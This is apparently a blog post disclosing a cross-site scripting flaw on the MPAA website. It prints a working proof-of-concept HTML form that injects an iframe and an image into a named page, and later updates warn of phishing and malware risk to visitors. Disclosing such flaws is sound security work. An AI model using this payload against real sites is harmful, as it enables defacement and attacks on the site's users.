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MPAA Website Vulnerable to XSS



MPAA's website was found vulnerable to XSS. Vulnerable page: http://mpaa.org/thank_you.asp.

A screenshot to remember (for next year's April 1st) :
http://img123.imageshack.us/img123/7020/mpaa.gif

This vulnerability can be called from any website that has the following code:
Code:
<form name="form" action="http://www.mpaa.org/thank_you_old_05_2009_abdferkf324934lkasdf23493243kdfer.asp" method="post">
<!-- here we inject an iframe and an image from http://thepiratebay.org -->

<input name="txtfavoritemovie" type="hidden" size="18" maxlength="1175" value="<IMG src='http://static.thepiratebay.org/img/tpb.jpg'><BR><BR><IFRAME width='100%' height='600px' src='http://thepiratebay.org/browse/200'>">
<input type="hidden" name="name" value="1">
<input type="submit">
</form>




WARNING: This is a proof of concept that proves an XSS on mpaa.org website and should be taken as a joke.






Note: there is no contact e-mail on their website so we coudn't notify them about this problem.

Update: [-TE-]-Methodman found a vulnerability on their search module:


http://img8.imageshack.us/img8/4135/66357507.jpg

http://img8.imageshack.us/img8/1741/90581928.jpg

Update #2: After seeing comments posted on other blogs about this bug it's time to clarify a few things.
While the screenshot and the demo are presented as a joke, the XSS bug behind them is a warning. It does not affect MPAA as much as it can affect the users.
Some statements are considered to be true:
  • You don't get takedown requests for your personal pictures or home-made movies
  • You don't get random legal threats that tell you to download "legal documents.pdf.exe" from MPAA website
  • You didn't win any lottery organized by MPAA
  • MPAA doesn't ask you on their website to enter your credit card details to pay some fines
  • There is no illegal content on MPAA website
  • Their website doesn't use browser exploits to infect you with trojans
  • And the list goes on...

A bug like this can reverse the validity of the above statements. Until these errors are corrected, mpaa.org should be considered unsafe and/or blacklisted.

Update #3: MPAA did not fix anything, they just renamed the vulnerable file.

Submitted by Vektor


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